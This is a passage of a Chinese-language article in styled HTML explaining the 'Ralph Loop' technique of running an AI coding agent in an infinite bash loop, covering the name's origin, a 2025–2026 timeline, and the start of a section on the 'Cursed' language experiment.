left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">他用一句话总结了其技术本质：</span></p><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: solid;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 1px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgb(150, 84, 181);border-right-color: rgb(150, 84, 181);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgb(251, 249, 253);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">Ralph is a Bash loop</span></p><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">while :; do cat PROMPT.md | claude-code ; done</span></p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">技术机制</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在技术表现上，它可以简练到只有一行代码： </span><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">while :; do cat PROMPT.md | claude-code ; done</span></code><span leaf="">其运行逻辑是：通过一个无限循环，将同一个（或动态更新的）Prompt 文件反复喂给 AI Agent（如 Claude 或 Cursor Agent）。Agent 在不断读取自身对文件系统所做修改的基础上进行下一轮迭代，直到满足外部设定的校验条件（如通过所有单元测试）。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">名称来源</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这个名字取自《辛普森一家》中的角色 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Ralph Wiggum</span></strong><span leaf="">。在剧中，Ralph 并不聪明，甚至显得有些笨拙，但他那句经典的台词—— </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">“我在帮忙！”（I&#39;m helping!）</span></strong><span leaf="">——恰好捕捉到了这种技术的精髓：</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">即便 Agent 在某一轮循环中只做了一个微小的重构、修复了一个拼写错误或增加了一个简单的判断语句，只要这种“笨拙的努力”被置于无限循环中，并配合严谨的外部校验（如编译器和测试框架），最终累积的结果将是惊人的。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">Ralph Loop 的发展史</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">回顾过去一年的发展，Ralph Loop 的走红路径堪称“草根逆袭”：</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">大约 2025 年 5 月：概念萌芽</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">澳大利亚开发者 Geoffrey Huntley 在使用 AI 编程助手时，对需要不断手动干预纠错感到沮丧，构思出一种通过自动化循环（后来被他称为“一个 Bash 循环”）强制 AI 自我迭代直到任务成功的技术雏形 [10, 16]。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">2025 年 6 月：思想分享</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在墨尔本举办的 Web Directions 大会上，Geoffrey Huntley 发表了主题演讲，分享了他对 AI 将如何重塑软件工程的看法，并展示了让 AI 在循环中自动完成复杂任务的早期实验，传播了“自主编程”的核心思想 [20, 22]。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">2025 年 7 月 14 日：正式命名与公布</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Geoffrey Huntley 在其个人博客发布了标志性文章《Ralph Wiggum as a &#34;software engineer&#34;》，首次将这种不断迭代、自我纠错的 AI 工作流命名为“The Ralph Wiggum Technique”。该命名致敬了《辛普森一家》中以“执着”著称的角色 Ralph Wiggum [8, 15]。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">2025 年 9 月 9 日：里程碑项目 Cursed 语言发布</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">为了展示 Ralph Loop 的强大潜力，Geoffrey Huntley 宣布，通过一个长达三个月的连续 AI 循环，成功创造了一门功能完整的编程语言——Cursed。该语言以 Gen Z 俚语为关键字，拥有编译器和标准库 [38, 40]。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Cursed 项目的 GitHub 仓库拥有超过 1198 次提交，证明了 AI Agent 在无人监督下完成长期、复杂项目的能力，引发了社区对“自主智能体（Agent）”能力的重新评估 [4, 41]。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">2025 年 12 月：Anthropic 官方集成</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">AI 巨头 Anthropic 正式为其 AI 编程工具 Claude Code 推出了名为 ralph-wiggum 的官方插件 [15, 32]。该插件通过内置的 Stop hook 机制，将 Ralph Wiggum 技术集成到 Claude Code 的核心功能中，用户可以通过 /ralph-loop 命令直接使用 [3, 15]。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">此举标志着 Ralph Loop 从一个社区的“hack”技巧，演变为被主流技术栈认可和采纳的正式功能。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">2026 年 1 月：社区热度与讨论爆发</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">随着官方插件的推出和 Cursed 等成功案例的传播，Ralph Loop 在开发者社区和科技媒体中引发了广泛讨论。它被视为一种在大型代码重构、自动化测试和无人监督开发等场景下极具潜力的新范式 [10, 6]，不过其应用仍需视具体场景而定，并注意成本与安全控制 [3, 16]。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">Ralph Loop 靠谱吗？解析 Cursed 实验</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">很多人质疑：简单的循环真的能写出严谨的系统级软件吗？Geoffrey Huntley 的 Cursed 实验 给出了一个答案。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">实验目标</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Geoffrey 想创建一个全新的编程语言：它的功能类似 Golang，但所有的关键字必须替换为 Gen Z（Z世代）俚语。最疯狂的是，Geoffrey 本人并没有编写编译器的经验，他想看看 AI 在完全自主的情况下，极限在哪里。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">实验设计</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">实验的设计采用了名为“Ralph Loop”（或称“Ralph Wiggum”方法）的循环机制，这是一种将AI模型Claude置于“while true”无限循环中的方式，允许它持续迭代和完善输出。整个过程持续了三个月，使用了一个单一的提示词（prompt）：</span></p><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: solid;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 1px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgb(150, 84, 181);border-right-color: rgb(150, 84, 